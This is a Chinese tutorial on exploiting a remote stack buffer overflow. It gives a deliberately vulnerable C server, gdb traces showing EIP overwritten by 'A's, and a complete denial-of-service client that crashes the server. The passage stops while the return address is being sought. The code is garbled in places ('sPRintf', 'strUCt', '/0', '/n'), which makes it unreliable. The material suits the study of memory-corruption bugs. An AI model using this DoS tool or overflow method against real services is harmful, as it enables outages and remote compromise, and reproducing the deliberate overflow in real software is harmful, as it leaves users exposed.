写远程缓冲区溢出漏洞利用程序

2019-11-17 05:30:32

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　　怎样写远程缓冲区溢出漏洞利用程序
在此，我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 eXPloit 来利用该漏洞，这样将能得到一个远程 shell。
一、理解有漏洞程序：
--------------------------------------- vulnerable.c ---------------------------------
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c)
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = ’/0’;
sPRintf(buffer, "Hello %s, nice to meet you!/r/n", name);
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;

}

int main(int argc, char *argv[])

{
int s, c, cli_size;
strUCt sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port/n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
}

---------------------------------------------- EOF------------------------------------------------------

下面将编译并运行该程序：
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
../vulnerable 8080 说明你能在8080端口运行该项服务
user@linux~/ > gdb vulnerable

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...
(gdb) run 8080
Starting program: /home/user/Directory/vulnerable 8080
现在该程序监听8080端口并等待连接。
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Robin
, nice to meet you!
Connection closed by foreign host.
user@linux:~/ >
看来没有什么破绽，但是这时gdb会在屏幕上显示：
client from 127.0.0.1 0xbffff28c （访地址因不同机器类型而异）

二、令有漏洞程序发生缓冲区溢出

重新连上该服务，为 "My name is:..." 命令行提供超过1024个字节长的输入：
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAA

连接将中断，让我们看看gdb的输出：
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
// Don’t close gdb !!
能够看出 eip 被设到了 0x41414141。0x41 代表一个"A",当我们输入1024个字节时，该程序会试图将字符串name[2048]拷入缓冲[1024]。因此，由于 name[2048] 大于1024字节，name 将会重写缓冲并重写已被存储的 eip，我们的缓冲将会是下列形式：

[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
在你重写了整个返回地址后，函数将会跳转到错误的地址　0x41414141，从而产生片断错误。
现在为此程序写一个拒绝服务攻击工具：
--------------------------------- dos.c ---------------------------------------------
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
int main(int argc, char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char buffer[2048];
int s, i;
if(argc != 3)
{
fprintf(stderr, "usage: %s <host> <port>/n", argv[0]);
exit(0);
}
s = socket(AF_INET, SOCK_STREAM, 0);
if(s == -1)
{
perror("socket() failed/n");
exit(0);
}
host = gethostbyname(argv[1]);
if( host == NULL)
{
herror("gethostbyname() failed");
exit(0);
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atol(argv[2]));
if(connect(s, &addr, sizeof(addr)) == -1)
{
perror("couldn't connect so server/n");
exit(0);
}

/* Not difficult only filling buffer with A’s.... den sending nothing more */

for(i = 0; i < 2048 ; i++)
buffer[i] = 'A';
printf("buffer is: %s/n", buffer);
printf("buffer filled... now sending buffer/n");
send(s, buffer, strlen(buffer), 0);
printf("buffer sent./n");
close(s);
return 0;
}
--------------------------------------------- EOF ------------------------------------------------------

三、找到返回地址：

打开gdb寻找 esp：
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

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